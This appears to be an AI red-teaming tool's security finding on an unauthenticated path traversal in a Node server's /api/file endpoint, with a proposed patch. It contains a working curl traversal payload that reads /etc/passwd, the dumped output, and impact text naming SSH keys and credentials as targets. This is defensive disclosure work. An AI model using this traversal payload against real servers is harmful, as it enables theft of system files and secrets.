Rook
AI red-teamer · 42nights

Unauthenticated arbitrary file read via /api/file path traversal

high7.5

auth-bypass · server.js:38-45

Introduced in f87c6fc2fa by Macintosh1011 on 2026-05-30

Summary

The /api/file handler at server.js:38 reads the file named by the `name` query parameter from the public directory and returns its contents, but performs no authentication check and no validation/normalization of `name`. Because the value is passed directly into path.join, traversal sequences like `../` escape the intended public directory. The endpoint should require authentication and constrain reads to the public directory, but instead serves any file the server process can read to any anonymous caller.

Impact. Any remote attacker who can reach the server can read arbitrary files accessible to the Node process — confirmed by retrieving /etc/passwd. This typically extends to application source code, configuration files containing database credentials, API keys, private keys (e.g., ~/.ssh/id_rsa), and session/token stores, enabling full compromise of the application and often the host.

Vulnerable code — server.js

🔴 if (parsed.pathname === "/api/file") {
🔴 const name = q.name || "welcome.txt";
🔴 fs.readFile(path.join(__dirname, "public", name), "utf8", (err, data) => {
🔴 if (err) return send(res, 404, `not found: ${err.message}`);
🔴 send(res, 200, data);
🔴 });
🔴 return;
🔴 }

Working exploit

curl -s 'http://127.0.0.1:4600/api/file?name=../../../../../../../../../../etc/passwd'

Exploit transcript

$ curl -s 'http://127.0.0.1:4600/api/file?name=../../../../../../../../../../etc/passwd'
HTTP 200  Content-Type: text/plain
##
# User Database
# 
# Note that this file is consulted directly only when the system is running
# in single-user mode.  At other times this information is provided by
# Open Directory.
#
# See the opendirectoryd(8) man page for additional information about
# Open Directory.
##
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
root:*:0:0:System Administrator:/var/root:/bin/sh
daemon:*:1:1:System Services:/var/root:/usr/bin/false
_uucp:*:4:4:Unix to Unix Copy Protocol:/var/spool/uucp:/usr/sbin/uucico
_taskgated:*:13:13:Task Gate Daemon:/var/empty:/usr/bin/false
_networkd:*:24:24:Network Services:/var/networkd:/usr/bin/false
_installassistant:*:25:25:Install Assistant:/var/empty:/usr/bin/false
_lp:*:26:26:Printing Services:/var/spool/cups:/usr/bin/false
_postfix:*:27:27:Postfix Mail Server:/var/spool/postfix:/usr/bin/false
_scsd:*:31:31:Service Configuration Service:/var/empty:/usr/bin/false
_ces:*:32:32:Certificate Enrollment Service:/var/empty:/usr/bin/false
_appstore:*:33:33:Mac App Store Service:/var/db/appstore:/usr/bin/false
_mcxalr:*:54:54:MCX AppLaunch:/var/empty:/usr/bin/false
_appleevents:*:55:55:AppleEvents Daemon:/var/empty:/usr/bin/false
_geod:*:56:56:Geo Services Daemon:/var/db/geod:/usr/bin/false
_devdocs:*:59:59:Developer Documentation:/var/empty:/usr/bin/false
_sandbox:*:60:60:Seatbelt:/var/empty:/usr/bin/false
_mdnsresponder:*:65:65:mDNSResponder:/var/empty:/usr/bin/false
_ard:*:67:67:Apple Remote Desktop:/var/empty:/usr/bin/false
_www:*:70:70:World Wide Web Server:/Library/WebServer:/usr/bin/false
_eppc:*:71:71:Apple Events User:/var/empty:/usr/bin/false
_cvs:*:72:72:CVS Server:/var/empty:/usr/bin/false
_svn:*:73:73:SVN Server:/var/empty:/usr/bin/false
_mysql:*:74:74:MySQL Server:/var/empty:/usr/bin/false
_sshd:*:75:75:sshd Privilege separation:/var/empty:/usr/bin/false
_qtss:*:76:76:QuickTime Streaming Server:/var/empty:/usr/bin/false
_cyrus:*:77:6:Cyrus Administrator:/var/imap:/usr/bin/false
_mailman:*:

Confirmed: HTTP 200 with body containing '# User Database' and 'root:*:0:0:System Administrator:/var/root:/bin/sh' — contents of /etc/passwd retrieved without authentication via ../../ traversal.

CVSS v3.1

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N7.5 (high)

Recommended fix

AI-suggested fix — review before applying (derived from analysis of untrusted repo content):

Require authentication and constrain the resolved path to the public directory:

--- a/server.js
+++ b/server.js
@@
   if (parsed.pathname === "/api/file") {
-    const name = q.name || "welcome.txt";
-    fs.readFile(path.join(__dirname, "public", name), "utf8", (err, data) => {
-      if (err) return send(res, 404, `not found: ${err.message}`);
-      send(res, 200, data);
-    });
+    if (!requireAuth(req, res)) return; // 401 if no valid session/token
+    const name = q.name || "welcome.txt";
+    const publicDir = path.resolve(__dirname, "public");
+    const resolved = path.resolve(publicDir, name);
+    if (resolved !== publicDir && !resolved.startsWith(publicDir + path.sep)) {
+      return send(res, 400, "invalid path");
+    }
+    fs.readFile(resolved, "utf8", (err, data) => {
+      if (err) return send(res, 404, `not found: ${err.message}`);
+      send(res, 200, data);
+    });
     return;
   }

Ship the fix

Rook found it and proved it. Hand the finding — with its working exploit as a failing test — to Otis to write the fix PR.